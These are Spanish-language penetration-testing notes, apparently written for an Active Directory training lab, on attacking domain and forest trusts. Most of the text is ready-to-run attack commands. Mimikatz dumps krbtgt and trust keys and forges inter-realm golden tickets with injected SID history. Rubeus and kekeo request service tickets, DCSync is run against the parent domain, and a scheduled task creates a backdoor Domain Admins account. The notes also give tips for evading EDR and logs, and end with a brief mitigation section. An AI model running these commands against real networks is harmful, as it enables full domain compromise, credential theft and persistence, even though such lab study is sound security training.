Across Trusts

Metodologia

1. Enumerar nuestras relaciones de confianza que nuestro dominio tiene con otros dominios y seguir enumerando dominios.

2. Si nuestro objetivo esta dentro del bosque?

   1. Somos DA?

      1. Golden Tickets

      2. SID History

   2. Enumerar Objetos

      1. Mapear la ruta de explotacion

Si tiene DA en el dominio en el que se encuentra:

Across Domain - child to Parent - child to child (Sid History Attack)

SID History Attack using krbtgt hash

PASO 1: Comprometemos el servidor

Una ves comprometido el server obtener el hash de krbtgt:

Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

PASO 2: Se puede forjar un TGT entre reinos

Para despues ponerlo en el siguiente comando donde creamos un ticket:

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'

En el comando, la opción de mimikatz "/sids" está configurando de forma forzosa el historial de SID para el grupo de administración de la empresa para dollarcorp.moneycorp.local, que es el grupo de administración de la empresa forestal. (En resumen esa opcion sirve para inyectar el SID History)

3: Importamos el ticket TGT

Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'

4: Usamos el ticket TGT

Evite registros sospechosos:

Invoke-Mimikatz -Command '"kerberos::golden /user:dcorp-dc$ /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /groups:516 /sids:S-1-5-21-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ptt"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:mcorp\Administrator /domain:moneycorp.local"'

S-1-5-21-2578538781-2508153159-3419410681-516 - Domain Controllers

S-1-5-9 - Enterprise Domain Controllers

SID History Attack using trust ticket

PASO 1: Obtener claves de confianza:

Entonces, lo que se requiere para falsificar boletos de confianza es, obviamente, la clave de confianza. Busque la clave de confianza de niño a padre.

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dcorp-dc

o

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'

NOTA: lsadump::trust se puede utilizar para volcar las claves de confianza del bosque. Las claves de confianza del bosque se pueden aprovechar para forjar vales de confianza entre reinos. Dado que la mayoría de los EDR prestan atención al hash KRBTGT, esta es una forma sigilosa de comprometer los fideicomisos forestales.

Como se ve en la siguiente captura de pantalla, obtuvimos todas las claves de confianza del controlador de dominio. [IN] y [OUT] delante de los nombres de dominio indican la dirección de confianza.

En nuestro caso, estamos interesados en obtener acceso al dominio raíz “moneycorp.local” desde nuestro dominio secundario “dollar.moneycorp.local”.

Valor del Enterpise admins:

Security IdentifiersMicrosoftLearn

PASO 2: Forjar un ticket TGT

Invoke-Mimikatz -Command '"Kerberos::golden 
/user: Administrator 
/domain: dollarcorp.moneycorp.local [child_domain] 
/sid: DomainAdmin_SID 
/sids: Enterprise_Admin_SID 
/rc4: Ticket HASH 
/service:krbtgt 
/target:moneycorp.local [ dominio raíz] 
/ticket: ubicación para guardar el ticket"'

Se puede forjar un TGT entre reinos

Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:f5bcb40f4fb6777713b335440509551c /service:krbtgt /target:moneycorp.local /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi"'

PASO 3: Obtener un TGS y usarlo

Asktgs y kirbikator (kekeo-old)

Obtenga un TGS para un servicio (CIFS a continuación) en el dominio de destino mediante el vale de confianza falsificado.

.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local

También se pueden crear tickets para otros servicios (como HOST y RPCSS para WMI, HOST y HTTP para PowerShell Remoting y WinRM).

Use el TGS para acceder al servicio de destino (es posible que deba usarlo dos veces).

.\kirbikator.exe lsa .\CIFS.mcorp-dc.moneycorp.local.kirbi

Rubeus

.\Rubeus.exe asktgs /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi /service:cifs/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt

Facilitando el DCSYNC: (Se puede lograr el trust ticket con diferentes servicios)

.\Rubeus.exe asktgs /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi /service:HOST/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt

creando tarea:

schtasks /create /S mcorp-dc.moneycorp.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "Pruebados" /TR "net user xoprantes Prueba123! /add /domain && net group 'Domain Admins' xoprantes /add /domain"
schtasks /Run /S mcorp-dc.moneycorp.local /TN "Pruebados"

cree el usuario:

lo agregue a administradores de dominio:

Mitigacion

Filtrado SID:

• Evite los ataques que abusan del atributo de historial de SID en la confianza del bosque.

• Habilitado de forma predeterminada en todas las relaciones de confianza entre bosques. Se supone que las confianzas dentro del bosque están protegidas de forma predeterminada (MS considera que el bosque y no el dominio es un límite de seguridad).

• Pero, dado que el filtrado de SID tiene el potencial de romper las aplicaciones y el acceso de los usuarios, a menudo está deshabilitado.

Autenticación selectiva: (Investigar)

En una confianza entre bosques, si se configura la autenticación selectiva, los usuarios entre las confianzas no se autenticarán automáticamente. Se debe otorgar acceso individual a los dominios y servidores en el dominio/bosque que confía.

Across Forests

Using Trust Tickets

Paso 1: Dumpear claves de confianza

Invoke-Mimikatz -Command '"lsadump::trust /patch"'
o
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

Paso 2: Se puede forjar una TGT entre bosques

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /rc4:3e366c69ee66563358fc5c8f7eb7feea /service:krbtgt /target:eurocorp.local /ticket:C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi"'

PASO 3: Obtener un TGS y usarlo

Asktgs y kirbikator (kekeo-old)

.\asktgs.exe C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi CIFS/eurocorp-dc.eurocorp.local

.\kirbikator.exe lsa .\CIFS.eurocorp-dc.eurocorp.local.kirbi

ls \\eurocorp-dc.eurocorp.local\SharedwithDcorp\

Rubeus:

.\Rubeus.exe asktgs /ticket:C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi /service:cifs/eurocorp-dc.eurocorp.local /dc:eurocorp-dc.eurocorp.local /ptt

PrinterBug + Unconstrained Delegation

Otra forma seria combinar estas dos tecnicas para hacer el Across Forest (aun esta por probar pero si se puede).